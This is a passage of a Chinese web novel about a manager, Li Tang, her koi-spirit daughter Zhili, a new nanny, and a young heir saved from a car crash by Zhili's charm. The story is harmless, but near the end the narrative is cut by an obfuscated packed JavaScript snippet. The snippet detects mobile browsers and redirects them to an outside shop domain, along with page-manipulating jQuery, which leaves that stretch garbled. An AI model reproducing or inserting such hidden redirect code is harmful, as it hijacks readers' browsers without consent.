黎棠松了口气,亲亲知鲤的小脸,“知知,妈妈问你,你喜欢方阿姨嘛?” 知鲤迟疑片刻,点点头,“喜欢的,如果方阿姨可以不要总是一直抓着知知,我就更喜欢啦。” 说着,知鲤忍不住委屈地瘪起小嘴,方阿姨总说她年纪小不懂事,无论走到哪里都牵着她的手,恨不得将她整个拴在裤腰带上。 方阿姨说这样是为了保护她,知鲤也能感受得到,但小朋友需要自由,小锦鲤出身的小朋友更需要自由。 她本来就是闲不住的性子,不耐烦在同一个地方一直待着,可方阿姨总是喋喋不休地说这里不安全,那里不干净,让她乖乖待在酒店房间不要乱跑。 似乎除了酒店,整个世界都是知鲤的禁区。 这样的态度让知鲤感觉很不舒服,但她又说不出来哪里不舒服,只要她不按照方阿姨的意思乖乖待着,方阿姨就会露出极其不安和害怕的神色,就像刚才她摔倒时那样。 这样的次数多了,知鲤已经学会克制自己玩闹的本能和渴望,尽量照顾方阿姨的情绪。 可知鲤真的很不喜欢这样的生活,皱着小眉头整张脸都看起来苦哈哈的。 黎棠看着幼崽的反应,眸光微凝,心中已经做好了决定,却只是摸摸知鲤的小脑袋什么都没有说。 另一边。 蔡玠已经坐上了车准备离开,视线划过放在副驾座椅上的平安符时犹豫一瞬,还是按照知鲤的意思将其放在上衣内衬的口袋里才发动车子。 一路风驰电掣,蔡玠习惯性地边猛踩油门边摇头摆尾地哼歌,在即将驶进一个小十字路口时,上衣口袋的位置微微发烫,脑海中突然地响起幼崽奶呼呼的“一定要特别特别小心”。 他鬼使神差地轻轻一脚油门,车子的速度缓慢降了下来。 蔡玠对这种完全不符合自己风格的行为感到一阵无语,刚将脚从刹车上挪下来,就听见车外传来一声巨大又刺耳的刹车声,紧接着就是一声巨大的撞击声。 下一秒,蔡玠感觉眼前一花,整片视野都被调转了位置,突然弹出的安全气囊把他的鼻子怼的生疼。 脑瓜子嗡嗡的,耳朵里都是路人的尖叫,蔡玠晃晃发晕的脑袋走下车,顿时就被眼前的一幕惊呆了。 离他不远的地方停着一辆侧翻的大型货车,货车右侧是一辆被撞没了半个脑袋的SUV,地上全是散落的货物。 侧头看了眼自己车的位置,蔡玠只觉头皮发麻。 如果他刚才没有减速,大货车撞到的位置正该是他的驾驶位! 蔡玠心脏疯狂跳动,再次想起知鲤那句“今天一定要特别特别小心哦,不然会发生不好的事情”。 难道这就是不好的事情? 手指颤抖地取出口袋里的平安符,感受着指尖微热的温度,蔡玠一时分不清那究竟是符染上了他的体温,还是符本身的温度。 此刻的蔡玠全身冰冷,一双眼睛死死盯着掌心的平安符,恍惚间他感觉平安符此刻的样子与知鲤交给他时有些微妙的不同。 似乎...符上的线条黯淡了些? 未来得及深思,口袋里的手机像是催命似的疯狂响起,看到是他哥的电话,蔡玠眼睛一亮,语无伦次地把这边发生的事情全部说了一遍。 他原本是想给亲哥分享今天的离奇遭遇,可他哥回馈给他的却是全套医院大礼包,还送上七天禁足的无理命令。 蔡瑾无情镇压了蠢弟弟的数次抗议,在医院全程盯着蔡玠做完检查将人打包送回家中,才有时间拨通远在a市时勉的电话。 “你抛下重要合作案,不眠不休从国外赶回来就只是看看她是否安好,看完就马不停蹄地重新出国。时勉,你什么时候变成情圣了?” 静默几秒,时勉的声音冷淡得仿佛没有情绪。 “若是为了说这些就不必了,我还有事。” “我家蠢弟弟帮你弄到一个你初恋的消息,很迫切,你确定要挂电话?” “什么消息?” 听到听筒传来一段急促的呼吸,蔡瑾忍不住翻了个白眼。 “…你初恋现在着急找一个有胆大心细、有点儿育儿经验、值得信任的保姆。” “保姆?她不是刚找到一个吗?” “呦,你连人家找保姆都知道,那我就没必要再帮你盯着了吧?” 蔡瑾的语气满是戏谑,时勉却似没听到似的继续追问,“到底发生了什么?” 翻了白眼,用正常的表达方式把蠢弟弟见到的事全部跟对面说了,“没什么,现在这个保姆似乎不合适,你初恋应该是动了换人的念头。” “我知道了,你继续盯着剧组,没事就挂了。” 看着黑屏的手机,蔡瑾气得笑出声,“用完就扔,有异性没人性的恋爱脑,活该被人抢了老婆,呸。” 7. 偷拍 “麻麻,麻麻,救救知知,知知起不来啦!” 幼崽软乎乎的叫声传来,黎棠心头一惊扭头就看到一个圆滚滚的翻壳小乌龟在雪地上扑腾,连忙上前将人扶起。 “小调皮,痛不痛?” 知鲤小嘴耷拉,梗着小脖子一脸倔强,“不痛,知知才不是小笨蛋,都是雪雪太坏,嫉妒知知太可爱!” 正给幼崽拍身上雪的黎棠没忍住笑出声来,抬眼就看见自家女儿小嘴瘪着,大眼睛水汪汪得仿佛下一秒就能哭出来。 “麻麻笑我~” 小奶音婉转悠长,听起来格外委屈巴巴。 黎棠忍着笑抱住知鲤,熟练地哄孩子。 “那是因为知知宝贝太可爱了呀,妈妈最爱知知了。” “那,那麻麻不会觉得知知笨笨嘛?” 知鲤唇角向上扬了扬,哼哼唧唧地拱进黎棠怀里,目光灼灼地等待答案。 “不会呀,你摔倒在雪地里起不来,一方面是因为雪太滑,一方面也是你穿得太厚了,行动不便才爬不起来的。” 另一方面……也是小家伙最近伙食好,整颗崽朝横向发展,圆滚滚的小身子裹上厚厚的羽绒服,整个就是胖嘟嘟的大汤圆,短胳膊短腿几乎够不着地面,能爬起来才怪。 后半句黎棠没有说出口,在幼崽期待的小眼神里含笑亲亲她的脸。 知鲤得到妈妈的亲亲,乐得眼睛弯成小月牙,“吧唧”一口落在黎棠脸上。 “知知也最爱麻麻了,麻麻也是我的大宝贝~” 知鲤熟练地撒着娇,莫名感觉有人在看这边,抬头望去正看到一个一身黑色羽绒服、黑色针织帽还带着黑色口罩的全黑男人。 小家伙觉得这人有些眼熟,思考间隙感觉身旁的黎棠脚步微滞,护妈小能手第一时间察觉不对,紧张地仰起小脑袋。 “麻麻?” “没事,知知不用担心。” 黎棠安抚地摸摸知鲤小脑袋,仿佛没有看到男人似的径直从他身边走过。 “棠姐......” “沈顶流慎言,你我之间的关系没有到可以用这种称呼的地步。” 黎棠的语调安静平和,仿佛是在说“今天天气不错”,护妈小能手知鲤却第一时间察觉不对,小耳朵一抖立马挡在黎棠面前,凶巴巴地怒视沈之亦。 “不许欺负知知麻麻!” 沈之亦似乎没有料到会有这一出,愣了一瞬望向知鲤,小家伙看到他那双似是在说话的眼睛和眼下殷红的泪痣才想起来对方是谁,小眉毛顿时竖了起来。 “叛徒大坏蛋,不许接近麻麻!” 知鲤可太认识这个人了,只要他在片场就总会盯着她们这边看,明曦每次看到他都恨不得把白眼翻上天。 明曦见小家伙好奇,想了想告诉知鲤那人是叛徒,曾经害黎棠伤了心,见到他要远远避开。 知鲤牢牢记住对方曾经狠狠的伤害过妈妈,每次看到对方就气哼哼地别开脸。 上次在酒店碰到,知鲤就对他发出好几声愤怒的哼哼,如今见到更是毫不留情。 沈之亦戴着口罩看不到他表情,反而是黎棠愣了一下,随即无奈地摸摸知鲤的小脑袋。 “我们走吧,不能让人家等太久。” “好~” 路过沈之亦的时候,知鲤还伸长小胖胳膊挡在黎棠身边,将她和对方谨慎隔开,只是母女俩刚走几步,就听被抛在后面的人沉闷的声音。 “棠姐,我知你还在怪我,但我是真的想帮你…哪怕是为了孩子也请你听我把话说完。” 黎棠将知鲤藏在身后,似笑非笑地看向沈之亦,“沈顶流,你和王阳针对我无所谓,但若是把手伸向我女儿…就别怪我鱼死网破。” 眼见黎棠牵着孩子就要离开,沈之亦也彻底放弃了联络感情,语速都不自觉加快许多。 “棠姐,我知道你最近一直在找照顾孩子的家政阿姨,我刚好认识几个,都是经过专业训练的,你若需要我可以……” 黎棠根本没有耐心听他把话说完,轻轻捂住气呼呼幼崽的耳朵,望着沈之亦的目光没有丝毫温度,就连脸上的笑容都带着让人胆寒的温度。 “够了,你我之间的关系还没有到这种份上。” 见沈之亦眼眶微微发红,似是一副被伤透了心的模样,黎棠眸底的嘲讽更甚。 “看来沈顶流的记忆不太好,已经完全忘了当年是如何联手王阳往我身上泼脏水,又如何配合公司高层打压明曦的。你凭什么认为那些事发生后,我还能毫无保留地信任你?” 沈之亦身子抖动一下,似乎失去了全部力气,望着黎棠漠然的侧脸张张嘴却说不出辩解的话,只能看着她抱起圆滚滚的幼崽翩然离去。 “麻麻不要不开心,我,我和曦曦姐姐会保护你。” 小家伙说得认真而坚定,把本就没什么感觉的黎棠搞得有些哭笑不得。 “告诉妈妈你又从明曦那里偷听了些什么?” 知鲤眨眨眼,仰起小脑袋伪装听不懂。 明曦在小孩子面前克制住骂人的冲动,但在气愤之余还是透露了不少信息。 就比如,知鲤知道沈之亦是黎棠第一个带的艺人,费了许多心力人脉才将人送上顶流宝座。 也知道沈之亦在黎棠最痛苦的时候给了她最痛的一刀。 更知道沈之亦的经纪人在公司多次给黎棠下绊子,用各种手段打压她,不遗余力地抹黑黎棠,企图让她被全行业封杀。 桩桩件件,罄竹难书。 具体细节…明曦没有吐露更多,知鲤小朋友不知道,却丝毫不妨碍她对沈之亦的讨厌。 “麻麻麻麻,你要带我去做什么呀?” 知道她在转移话题,黎棠也没深究的打算,无奈地蹭蹭小家伙的鼻子,“小机灵,妈妈带你去见见照顾你的人。” 见自家小闺女茫然地抓抓小脑袋,黎棠笑笑没有多做解释。 从前的保姆偷拍明曦隐私被辞退后,黎棠就委托信任的朋友在a市帮她找照顾孩子的人。 她知道值得信任又能照顾孩子的家政阿姨不好找,也一直没有过多询问朋友寻找进度,可最近她辞退了方阿姨盘算着重新找个短期保姆的时候,朋友打电话说找到了合适的人选。 时间过分巧合黎棠不是没有怀疑,但对方的履历没有任何问题,从上一主家离职的理由也毫无破绽,黎棠相信朋友的人品,思索再三还是跟对方通了电话。 得知对方可以现在就过来帮忙照看孩子,黎棠更是松了口气,连忙订了机票让人过来,今天便是第一次会面。 听着自家闺女叽叽喳喳的幼稚话,黎棠的心情也逐渐放松下来,就在这样轻松愉悦的情绪中,母女俩很快抵达了目的地。 有朋友做背书,自己又跟对方交谈过,黎棠基本已经下了由对方照顾孩子的决定,所以在剧组下榻的酒店给对方订了房间。 敲开门,黎棠看到笑容和蔼温柔的妇人微微诧异。 妇人身上透露的气质让她看起来不像是个普通的家政阿姨,倒更像……管家? 黎棠不合时宜地想起几年前前男友母亲的下马威,对方身后跟着的管家就与这位的气质类似。 “麻麻麻麻,这位漂亮姨姨是谁呀?” 对面的妇人看到知鲤的时候微微愣住,盯着知鲤稚嫩却难掩精致的眉眼看了半晌,眸底是掩饰不住的震惊。 只是此刻黎棠心里正盘算着其他事情,并没有注意到这一点,反而是知鲤疑惑地歪歪小脑袋。 “漂亮姨姨为什么这样看着知知呀?” 顿了顿,小家伙捂着小嘴嘿嘿一笑,“是不是因为知知太可爱啦?剧组的哥哥姐姐都这么说哦~” 知鲤一打岔,妇人立马回了神,蹲下身笑着凑近小家伙,“是呀,都是因为小朋友太可爱了。不过小朋友叫我程奶奶就好,我的年龄跟你爷爷奶奶差不多大的。” 小家伙从善如流,歪着小脑袋乖乖巧巧地叫了一声程奶奶,完全没有注意到程阿姨深思的目光。 一旁的黎棠见知鲤适应良好,程阿姨也不着痕迹地护着上蹿下跳的小家伙,终是露出一抹欣慰的浅笑。 之后几天,黎棠在照看明曦的同时默默观察着程阿姨的一举一动,发现对方不仅细心温柔,还极其擅长照顾小朋友。 至少,现在的知鲤小朋友活泼外向、调皮捣蛋,完全没有在方阿姨面前的压抑懂事。 而程阿姨照顾知鲤这样调皮的孩子也没有任何疲态,倒是与她履历中的介绍完全一致。 黎棠总算彻底放下心来,任由程阿姨按照明曦制定的行程,带着知鲤在这座城市四处游玩。 对于小朋友而言,玩乐的时间过得格外快。 不知不觉便到了明曦戏份即将杀青的时候,当天下午,知鲤早早地跟程阿姨一起来到了剧组。 “程奶奶,我看到麻麻和曦曦姐姐啦!” 知鲤眼尖地在人群中看到认真工作的黎棠,松开程阿姨的手快步朝黎棠的方向跑去,刚跑两步就撞上了异物,小家伙下意识伸开双臂抱住“异物”仰起小脑袋就看到一张有点儿熟悉的脸。 “对不...你是大哥哥!” 不是知鲤记忆不好,实在是蔡玠今天的打扮过于正常,那个标志性的油腻大背头被清爽细碎的额前发取代,没了初见时的违和与别扭,更多了几分乖巧。 看起来像刚毕业的大学生,清澈又干净。 就是眼下有两道好重好重的乌青,给清爽的“大学生”添了几分疲惫。 知鲤盯着他的新发型,小脸失望地耷拉下来。 她还是觉得大背头酷酷的,更具特色呢。 “是我,知知小朋友我终于见到你了。” 蔡玠并没有察觉到幼崽的失落,扶起伪装树袋熊的知鲤时还认真检查了她额头有没有撞伤。 “大哥哥为什么要找我呀?” 知鲤从短暂的失望中抽离,又瞅了瞅他额上,确定他的大危机已经过去 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当然,为了照顾小孩子,部分画面描述还是选择一言带过。 知鲤看着他手上的平安符,想起那天蔡玠离开不久后,她“看”到遍地都是火光和黑烟的画面,小身子抖了抖。 “大哥哥,那天有人受伤嘛?” 蔡玠点点头又摇摇头,那天的事情处处透着诡异,按当时现场的惨烈程度来看,伤亡是必然的。 可大货车与SUV几乎是正面相撞,却都很神奇地避开了主驾位,两辆车的司机受了不同程度的伤,却没有危及生命。 就连医生都感到惊奇,纷纷感叹两位司机的好运气。 但蔡玠却觉得这事与司机的运气无关,被关禁闭的七天里,他抱着平安符抓耳挠腮地想了好几天也没想出个所以然,这才跑来剧组寻找知鲤。 可小朋友这几天被黎棠新找的阿姨带去玩了,这件事又过于玄妙,蔡玠担心太多人知道对知鲤不利,犹豫再三还是没有去问黎棠,在剧组蹲守了好几天,终于在明曦杀青当天蹲到了知鲤。 警惕地四处看了一圈,蔡玠将平安符放在知鲤的手上,声音压低到只有他们俩能听得到的程度。 “知知那天把这个交给我是不是想要帮我?” 知鲤咧开小嘴乖巧点头,“因为大哥哥帮了我,麻麻说礼...” 想不起来礼尚往来四个字的知鲤皱巴着小脸想了好久才勉强说道:“...要互相帮助,这是知知的回礼呀。” 看着幼崽认真的小模样,蔡玠隐隐明白了什么,心情十分复杂,深深吸了口气才将满肚子疑问压回去。 “知知,那天车祸里大家都能平安...是不是跟这个有关系?” 知鲤眉眼都弯成快乐的小月牙,“我不知道,大和尚说知知很厉害,可以帮助很多很多人。” 幼崽是真的不知道,她所有的认知都由养她到化形的大和尚灌输,很多东西以她目前的认知并不能理解,只能简单地重复大和尚的话。 “大和尚?” 蔡玠这次倒是敏锐起来,问出口的同时心里也有诸多猜测,可这些猜测在幼崽看来都是虚无。 “大和尚就是大和尚呀,对知知可好可好的大和尚!” 幼崽并不知道大人的想法,更不知大人世界的运行法则,她以为蔡玠的提问仅仅是提问而已,而她的回答都是她的真实感受。 蔡玠叹了口气,蹲下身认真地看着知鲤那双仿佛有星辰闪烁的大眼睛,举起平安符在她眼前晃了晃。 “知知是很厉害的小朋友,但是这个东西以后不要随便送人。” 知鲤茫然地看着蔡玠,有些不懂他为什么这么说,却能看得懂他眼中的担忧,她是个诚实的宝宝不会随便承诺。 “知知才不随便送人,只送给该送的人。” 顿了顿,知鲤咧开小嘴对蔡玠说道:“大哥哥担心我,谢谢大哥哥。” 蔡玠知道小家伙没听懂他的意思,正思考要不要继续跟她解释的时候,突然听到身后传来窸窸窣窣的声响,还有几声暧昧的呼吸声,脑海中警铃大作,鸡皮疙瘩掉了一地。 在知鲤没有反应过来之前抱着她快步离开了原地。 回头就看到刚才那地方后面有两道交叠的影子投射在地面上,成年人的脑袋瞬间联想到什么,眼皮抽搐地抱着孩子走到程阿姨身边。 “那啥,这里不适合小孩子待,我送知知去找妈妈好不好?” 知鲤正准备伸出小脑袋一探究竟,听到“妈妈”立即忘了其他事情,摇摇摆摆地跟蔡玠一起去寻黎棠。 跟在两人身后的程阿姨掏出手机对着两人的背影偷偷拍了张照片,犹豫许久还是决定将照片发给某个人,并附上一段长长的话。 半天没有等到回复,程阿姨和蔼的面容上浮起一抹无奈,看着前面笑靥如花的幼崽长长叹了口气。 8. 菜菜哥哥 知鲤人小腿短实在跟不上大人的脚步,停下来盯着蔡玠的大长腿看了几秒,鼓起脸加快脚步哒哒哒地朝前追去。 小锦鲤永不认输! 小家伙腿短又穿得厚实,远远看去仿佛一只努力奔跑的企鹅幼崽,透着股心酸的可爱。 踢踢踏踏的脚步声传来,蔡玠才后知后觉意识到什么,停下脚步等幼崽的时候,视线不经意划过刚才听到异响的角落,正看到一别开脸干呕的年轻男人。 男人微微发红的脸颊和面上挥之不去的勉强和厌烦让蔡玠忍不住挑眉,移开目光时男人已经退回角落,地上的影子已然再次交叠。 秉着非礼勿视的想法,蔡玠目光转移得相当利落,挪动脚步换了站位,杜绝幼崽发现异状的可能。 “大,大哥哥,你是不是累了呀?” 知鲤眼睛亮晶晶的,带着点儿无法掩饰的期待与兴奋,仿佛只要蔡玠点头,她就会当场蹦起来庆祝胜利。 蔡玠也是争强好胜的熊孩子出身,看到她红扑扑的小脸还有什么不明白的,否定答案已到嘴边,却在小家伙的目光中憋了回去。 “……是…我确实挺累的。” 没有伪装气喘是蔡玠的最后倔强。 幼崽得到满意的答案,整颗崽都变得神采飞扬,小下巴仰起得意洋洋。 “我是最厉害的小锦鲤,大哥哥放心,以后知知保护你,我可厉害可厉害啦,大家都喜欢我!” 小孩子的快乐简单又莫名其妙,蔡玠眼皮跳了跳,没有戳破幼崽小小的快乐,放慢了脚步与知鲤同行。 他们到的时候,明曦在跟剧组的人道别,而安导正跟黎棠说话。 “虽然是个女三号,但班底相当不错,以明曦的性子完全无惧我那老朋友龟毛又苛刻的风格,小黎你可以带明曦过去试试镜,如果通过对你们绝对只有好处。” 安导穿着军大衣捧着个冒着热气的大茶缸子,像个慵懒慈祥的老大爷似的跟黎棠小声说着。 黎棠认真跟安导道了谢,身后就传来熟悉的小奶音。 “麻麻,最厉害的小锦鲤来啦!” 知鲤像颗小炮弹似的撞进自家妈妈怀里,在她脸上留下一枚软软的亲亲才仰起小脑袋跟安导打招呼。 “安叔叔好呀~” “哎,知知也好,今天也来接妈妈呀?” 知鲤在片场的几个月常常在黎棠附近出没,她在的时候拍摄进度总格外顺利,不知不觉间小家伙已经成为剧组的小吉祥物。 安导放下大茶缸,熟练地从军大衣里摸出枚果冻递给知鲤,“知知的小奶糖份额消耗完了,叔叔只能给你小果冻喽。” 接过安导的果冻,知鲤像捧着小宝石似的格外珍惜,小嘴巴里甜蜜蜜地输出着感谢话,把脸都冻僵了的安导哄得眉开眼笑。 自知鲤撒娇卖萌从其他演员处糊弄到糖偷偷吃掉,牙齿疼得吃不下饭后,幼崽与小奶糖的故事已然成为剧组传说。 大家再见到委屈巴巴装可怜的幼崽,已然默契地学会了别开脸无视,坚决不会分一颗糖给黏糊糊的可怜知鲤。 但终归无法忽视幼崽甜甜蜜蜜地叫叔叔姨姨、哥哥姐姐,大家见到她虽不会再给糖果,但还是会给她分个小零食。 安导作为看崽大军之一也不例外。 “哎呀,一想到知知就要离开了,我这心里呀总是十分不得劲儿,知知可是我们剧组的小吉祥物呐。” “我也舍不得嗷叔,安叔叔要找我玩~” “好呀,知知不可以忘了我哦。” 安导配合地跟知鲤你来我往说了好几句才注意到幼崽身后的蔡玠,若有所思的目光在蔡玠和明曦身上转过,面上划过一丝了然。 这样似乎就能解释蔡氏那位能力出众的蔡总为什么会突然投资,力保明曦出演女一号了。 不愧是豪门精英团,帮弟弟追求女孩儿的手段老套得令人咋舌。 如是想着,安导总觉得他忽略了什么重要的东西。 面对投资方,该有的礼数还是要有,安导跟蔡玠打了招呼后就听见知鲤的小声嘀咕。 “大哥哥是叫小蔡总嘛?好奇怪的名字呀。” 幼崽刻意压低了声音,却还是因独特的声线被在场几人听得清楚,蔡玠眼皮一跳,蹲身与知鲤对视。 “大哥哥不叫‘小蔡总’,我叫蔡玠,知知叫我……” 知鲤想到桌上绿油油的青菜,恍然大悟地哦了一声,“菜菜哥哥!” 蔡玠:“……” 面对幼崽认真的小模样,蔡玠垂死挣扎,“不是菜菜哥哥,我的名字是蔡玠,你可以叫我……” 说着,蔡玠总觉得哪里怪怪的,而知鲤已经脱口而出。 “那,那要叫哥哥‘姐姐(jie)哥哥’嘛?好奇怪的!” 知鲤小脸皱成一团,看向蔡玠的目光带着化不开的茫然与疑惑,“大哥哥究竟是姐姐还是哥哥呢?” “知知啊,不是这样的,蔡玠两个字不是菜也不是姐,是......” 听完蔡玠的认真解释,知鲤更加茫然,“还是叫菜菜哥哥吧,姐姐哥哥不好听。” 蔡玠:“……” 生平第一次,他对伴随二十多年的名字产生了怀疑。 为什么是蔡,又为什么是玠? 三岁半的宝宝只认发音不认字,在她看来“菜”和“蔡”、“姐”和“玠”几个字的声调有些许不同,但都是一个意思。 黎棠见蔡玠的解释没用,就把几个字写下来跟知鲤解释了一番,可惜...小家伙浅浅的认知无法理解,更加困惑不解。 蔡玠认命地发出一声长叹,“算了,知知想怎么叫就怎么叫吧。” 这句话幼崽倒是听懂了,拉着蔡玠的衣摆乐呵呵地咧开嘴,“菜菜哥哥!” 蔡玠张张嘴始终无法出声应答,苦着脸点点头算是回应,知鲤嘿嘿一笑,围着他来回转圈。 安导不知什么时候已经悄然离去,知鲤跟蔡玠闹了一会儿,明曦那边的告别也进入尾声。 明曦的声音带着难以掩饰的兴奋,“棠棠姐,我们走吧,回去休息一下,这几天带着知知跟大家道个别就回a市吧。” 事实证明,完成一项工作准备离场回家的时候,就是牛马打工人最兴奋的时刻。 即使是热爱这个行业的明曦亦是如此。 黎棠应了一声,转头就见自家小闺女正乐呵呵地跟蔡玠说着什么,看上去格外开心的样子。 “知知,跟小蔡总再见,我们准备回酒店收拾东西了。” 听到黎棠的话,幼崽没心没肺地松开了蔡玠的衣摆,快乐的表情上完全看不出一丝不舍。 看起来就特别无情。 “黎小姐等等。” 蔡玠犹豫良久,终是在几人准备离开时出声,在黎棠疏离有礼的目光中厚着脸皮开口。 “...我很喜欢知知,能给我一个黎小姐的联系方式嘛?我本家在a市,以后说不准会经常见到知知。” 黎棠垂眸望向傻乐的知鲤,一时之间不知该说什么好。 因幼崽的社牛属性,类似的话她这几天听得多,新加的联系方式也多,多少有点儿习惯成自然,如今听这位并不相熟的小蔡总这么说,她心里竟生出一种“果然如此”的恍惚感。 “麻麻,菜菜哥哥也要跟我们回a市嘛?” 小小一颗幼崽说话的时候眼睛亮晶晶的,一副十分期待的模样。 黎棠身为母亲还有什么不懂的,知道小家伙是真的喜欢蔡玠,叹息一声,认命地掏出手机加上了蔡玠的社媒。 看到手机上简单的月亮头像,蔡玠脸上的笑容真切几分,狗腿地换了称呼。 “黎姐,剧组离酒店还有些距离,我送你们回去吧。” “不麻烦了,我们有开车的。” “这样啊,没关系没关系,那我送你们到停车场吧,等回a市我给你们当司机,黎姐千万别跟我客气,我18岁就学会开车了,开得超级稳......” 蔡玠喋喋不休,完全把前几天差点儿发生车祸的事情抛诸脑后,只满脑子盘算以后怎么跟幼崽搞好关系。 说着,也不管黎棠是否拒绝,熟稔地走在前面引路。 而黎棠也算是看出来了,蔡玠此人与安导所言如出一辙,就是一个傻白甜型富四代,有点儿心眼但不多。 见对方殷勤,她闺女又像只小陀螺似的在蔡玠身边打转,黎棠也熄了拒绝的心思,安静地同明曦程阿姨一起走到剧组停车场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059937|195020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 临上车时,蔡玠发出一声诧异的低呼。 “咦,这不是刚才跟人‘花前日下’的男人嘛!” 知鲤小耳朵一动,连忙伸长脖子踮起脚朝蔡玠目光所及之处望去,“呀,是说麻麻话的大坏蛋!” 幼崽对这人印象可深了,那天在片场就是他和那个被警察带走的道具师在一起说黎棠坏话来的。 明曦也凑过来问道:“是你送了祈愿符的那位?” “就是他,他是身体不舒服嘛?在吐耶。” 知鲤见那男人脸色苍白地目送一辆黑车离开后,就蹲在地上大吐特吐,一副被恶心得无法忍受的样子 “害,他呕吐另有原因,可不是身体不舒服哦。” 蔡玠啧啧两声,他可是看得清楚,那位刚才半边身体都钻进了黑车后窗,跟后座上那位难舍难分,现在又做出这副模样...... 大概是车上的人让他接受不了? 蔡玠猜测着,脸上的笑容变得有些玩味。 作为一个合格的废物富四代,蔡玠一眼就知道那两人在搞什么勾当,一个财大气粗出钱出力,一个年轻健康出卖青春,可谓是各取所需。 但显然,出卖青春的人生理上勉强接受,心理上完全拒绝,甚至从身到心地感觉恶心。 蔡玠觉得反胃,把一脸嫌弃的幼崽送上安全座椅,目送黎棠的车子离开,才后知后觉想起那辆黑车的主人是个爱好奇特的高龄老者,打了个寒颤迅速驱车离开。 *** a市,黎棠家。 离家几个月再度重归,知鲤像条小尾巴似跟在黎棠身后收拾行李,吭哧吭哧地格外忙碌。 仅仅半个小时,许久没有回家的不适感便消失的一干二净,而知鲤也对收拾行李失去了兴趣。 见小家伙找回熟悉感,像只小咸鱼似的趴在行李箱上吐舌头,黎棠忍着笑将人抱下来。 “知知跟程阿姨去楼下玩会儿吧,妈妈收拾就好。” 说是收拾,其实也只是把行李箱中的衣服放回衣柜罢了。 提前归家的程阿姨已经打扫过家中卫生,并不需要额外操心,黎棠扫了眼剩下的行李心里有了底。 “程阿姨,你带知知下去玩会儿吧,我待会儿叫外卖今天就别做饭了。” 说着,在知鲤甜甜蜜蜜的撒娇中,将她包成密不透风的小汤圆。 知鲤的小胖脸被红彤彤的围巾遮去了半边,只露出一双滴溜溜转动的大眼睛,透着股难言的狡黠与灵动。 黎棠给知鲤整理围巾的手指顿了顿,不自觉想起那个与幼崽有着相似眉眼的人。 “麻麻?” “...没事,知知可以到楼下玩,但是不许离开程阿姨的视线知道吗?” 知鲤小脑袋点点,极力向黎棠表示她的乖巧,只可惜她被包成了小汤圆,脑袋几乎被围巾和帽子淹没,点头时更像是吃不到米粒的小鸡。 呆呆的样子让黎棠的唇角勾起,顷刻忘了刚才涌现的一丝丝小惆怅。 幼崽挥挥小爪告别黎棠,身披厚厚的“铠甲”摇摇摆摆地上了电梯。 到楼下的时候天已经黑了,知鲤仰起小脑袋望着天空中零星飘落的雪花,见识过鹅毛大雪的幼崽还是忍不住发出快乐的呼声。 “哇哦,下雪了耶,程奶奶程奶奶,快看下雪了呦~” 没有得到回应,幼崽疑惑地仰起小脑袋看向程阿姨,见她似乎正诧异地望着某处,也顺着她的目光看去。 路灯下。 时勉安静地仰着头注视着某处窗子,清冷的灯光洒落,交错的光影模糊了他的面容,却更突出了他周卓然的身姿和寒玉般疏离的气质。 如数九寒天中遗世独立的寒梅,带着疏离与孤寂与这场寂静无声的落雪融为一体。 时勉也看到了知鲤和程阿姨。 视线在程阿姨身上短暂停留后便落在知鲤身上,安静地盯着圆滚滚的幼崽望了良久,似有若无地嗤笑一声,便头也不回地转身离开。 知鲤没有看清时勉的面容,只盯着他的背影抽抽鼻子,“那个叔叔看上去好难过呀。” 小奶音入耳,程阿姨身形微顿,望着那人远去的背影眸底满是担忧和无奈,却也只是长长叹了口气。 9. 幼崽纷争 某些方面而言,幼崽的记忆只有三秒,知鲤早把路灯下孤寂的时勉忘得一干二净,继续没心没肺地做黎棠的小棉袄。 只可惜,她最爱的妈妈今天要把她打包送入幼儿园。 “麻麻麻麻,我想陪麻麻一起上班嘛~” “不可以哦,妈妈有妈妈的责任,知知也有知知的任务,你是最厉害的小锦鲤,一定会好好完成任务的对不对?” 在黎棠看来,幼儿园是幼崽们社会化的第一步,是他们成长中不可或缺的一部分。 从前知鲤年龄小又傻乎乎的时候,黎棠怕她受欺负,掐灭了送小家伙上幼儿园的念头。 许是老天眷顾,知鲤两岁半之后慢慢变得正常,黎棠送小家伙去幼儿园的心思渐渐活络起来。 在家中观察了一段时间,确定小家伙可以适应幼儿园环境才将她送去了幼儿园。 那时候前任保姆还在,小家伙上学放学可以由保姆接送,也给黎棠腾出时间忙工作事宜。 后来前任保姆出了问题,黎棠一时找不到合适的继任者,只能带着知鲤去上班。 再后来,明曦接了安导的戏顺利进组,没人照顾的知鲤小朋友自然而然地被带在身边。 可现在有程阿姨在,黎棠自然更希望小家伙减少与成年人的复杂世界接触,继续上幼儿园,像个普通孩子一样慢慢长大。 叹了口气,黎棠到底没有把自己的想法告诉知鲤,只安静地望着小家伙水汪汪的大眼睛,等候答案。 知鲤瘪着嘴,低垂小脑袋小声嘀咕,“可最厉害的小锦鲤要保护麻麻~” “知知放心,妈妈今天超厉害,不仅能够好好保护自己还能保护明曦。” 黎棠蹲下身给知鲤换上小鞋子,含笑摸摸她的小脑袋。 “这么久没见幼儿园的小朋友,知知不想他们嘛?优优妈妈昨天还问我什么时候送你去上学,说小葵花班的小朋友都很想念你。” 说起这事儿黎棠也觉得很神奇,正常来说这个年纪的孩子忘性较大,尤其是对于不常见的朋友,可能隔一段时间就有些陌生了。 而知鲤在幼儿园待的时间不足两个月,离开幼儿园又差不多有半年之久。 可偏偏小葵花班的孩子不仅没有忘记知鲤,还能提前要求父母通过社媒来询问小家伙何时去幼儿园。 且不止一个孩子拜托家长过来询问。 黎棠想起自家幼崽曾得意洋洋地拍着胸膛,说她是最厉害、最幸运的小锦鲤,大家都会很喜欢她。 她那时还以为小家伙是自吹自擂,现在看来,当时小家伙说得或许都是实话。 念头出现的瞬间,黎棠只觉荒唐,笑着收回思绪,见知鲤还苦着小脸,忍不住抬手捏捏小家伙嫩嫩的脸颊。 